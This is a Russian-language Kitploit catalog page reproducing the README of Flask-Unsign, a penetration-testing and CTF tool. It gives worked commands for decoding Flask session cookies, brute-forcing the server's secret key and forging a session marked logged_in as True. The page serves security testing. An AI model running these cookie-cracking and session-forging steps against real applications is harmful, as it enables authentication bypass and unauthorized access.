Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Flask-Unsign — Инструмент командной строки для получения, декодирования, брутфорса и создания сессионных cookie Flask-приложения путём подбора секретных ключей. | Kitploit
Инструменты/GitHubGitHub/paradoxis/flask-unsign
Атаки на ПаролиЭксплуатация веб-приложенийCTFТестирование на Проникновение
GitHubparadoxis/flask-unsign

Flask-Unsign

Инструмент командной строки для получения, декодирования, брутфорса и создания сессионных cookie Flask-приложения путём подбора секретных ключей.

Репозиторий
660481 год назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

Flask Unsign

Build Status PyPI version codecov

Командная утилита для получения, декодирования, перебора и создания сессионных cookie Flask-приложения путём подбора секретных ключей. Для отдельного компонента со списком слов посетите репозиторий flask-unsign-wordlist.

Требования

  • Python 3.6+

Установка

Для установки приложения просто используйте pip:

root@kitploit:~
$ pip3 install flask-unsign[wordlist]

Если вы хотите установить только основной код, опустите суффикс [wordlist]:

root@kitploit:~
$ pip3 install flask-unsign

Для установки инструмента в целях разработки выполните следующую команду (после загрузки копии):

root@kitploit:~
$ pip3 install -e .[test]

Использование

Чтобы получить обзор всех возможных опций, просто вызовите flask-unsign без аргументов:

root@kitploit:~
$ flask-unsign

Получение и декодирование сессионных cookie

Поскольку cookie Flask являются подписанными и не зашифрованными, можно локально декодировать данные сессии. Для этого используйте аргумент --decode.

Сессионные cookie можно получить, просматривая HTTP-запросы с помощью прокси, такого как Burp Proxy, используя сетевой инспектор браузера или расширение браузера для просмотра/изменения cookie. По умолчанию Flask использует имя сессии "session".

root@kitploit:~
$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
{'logged_in': False}

Вы также можете использовать автоматический захват сессий Flask-Unsign, передав аргумент --server вместо --cookie. Однако учтите, что не все веб-страницы могут возвращать сессию, поэтому обязательно передавайте URL, который её возвращает.

root@kitploit:~
$ flask-unsign --decode --server 'https://www.example.com/login'
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8
{'logged_in': False}

Unsigning (подбор секретных ключей)

Получив образец сессионной cookie, вы сможете попытаться подобрать секретный ключ сервера. Если повезёт, он может быть установлен на что-то простое для угадывания, а если он был найден в интернете, он может оказаться в одном из ваших списков слов. Для этого используйте аргумент --unsign.

root@kitploit:~
$ flask-unsign --unsign --cookie < cookie.txt
[*] Session decodes to: {'logged_in': False}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 351 attempts
'CHANGEME'

Signing (манипуляция сессией)

Получив секретный ключ сервера, вы сможете создавать собственные данные сессии. Для этого используйте аргумент --sign.

root@kitploit:~
$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU

Устранение неполадок

  • При установке программы возникает ошибка
    • Возможно, вы используете не тот бинарный файл pip, попробуйте использовать следующую команду: python3.6 -m pip install flask-unsign
  • Я нашёл секретный ключ, но мои созданные сессии не работают!
    • Возможно, ваш целевой сервер использует более старую версию itsdangerous. Из-за проблемы с временными сессиями алгоритм генерации временных меток был изменён. Чтобы сгенерировать более старую подпись, попробуйте использовать опцию --legacy.
  • Мой список слов не работает
    • Списки слов должны содержать строки Python, разделённые переводами строк (то есть их нужно заключать в кавычки). Это сделано для того, чтобы бинарные строки можно было легко хранить в формате с разделением по строкам. Если вам это не нужно, вы можете отключить эту функцию, передав аргумент --no-literal-eval.

Как это работает

Если вам интересно, как именно это работает, обратитесь к моему посту в блоге, в котором это подробно объясняется, включая руководство по защите вашего сервера от этой атаки.

Лицензия

MIT License

Copyright (c) 2021 Luke Paris (Paradoxis)

Настоящим предоставляется бесплатное разрешение любому лицу, получившему копию данного программного обеспечения и связанных файлов документации (далее — «Программное обеспечение»), использовать Программное обеспечение без ограничений, включая, без ограничений, права использовать, копировать, изменять, объединять, публиковать, распространять, сублицензировать и/или продавать копии Программного обеспечения, а также разрешать лицам, которым предоставляется Программное обеспечение, делать это, при соблюдении следующих условий:

Вышеупомянутое уведомление об авторских правах и данное уведомление о разрешении должны быть включены во все копии или значительные части Программного обеспечения.

ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ ПРЕДОСТАВЛЯЕТСЯ «КАК ЕСТЬ», БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ, ЯВНЫХ ИЛИ ПОДРАЗУМЕВАЕМЫХ, ВКЛЮЧАЯ, НО НЕ ОГРАНИЧИВАЯСЬ, ГАРАНТИЯМИ ТОВАРНОЙ ПРИГОДНОСТИ, СООТВЕТСТВИЯ КОНКРЕТНОМУ НАЗНАЧЕНИЮ И ОТСУТСТВИЯ НАРУШЕНИЯ ПРАВ. НИ ПРИ КАКИХ ОБСТОЯТЕЛЬСТВАХ АВТОРЫ ИЛИ ПРАВООБЛАДАТЕЛИ НЕ НЕСУТ ОТВЕТСТВЕННОСТИ ПО КАКИМ-ЛИБО ИСКАМ, ЗА УЩЕРБ ИЛИ ПО ИНЫМ ТРЕБОВАНИЯМ, БУДЬ ТО В РАМКАХ ДОГОВОРА, ДЕЛИКТА ИЛИ ИНЫМ ОБРАЗОМ, ВОЗНИКАЮЩИМ ИЗ, ВНЕ ИЛИ В СВЯЗИ С ПРОГРАММНЫМ ОБЕСПЕЧЕНИЕМ ИЛИ ИСПОЛЬЗОВАНИЕМ ИЛИ ИНЫМИ ДЕЙСТВИЯМИ С ПРОГРАММНЫМ ОБЕСПЕЧЕНИЕМ.

Скачать инструмент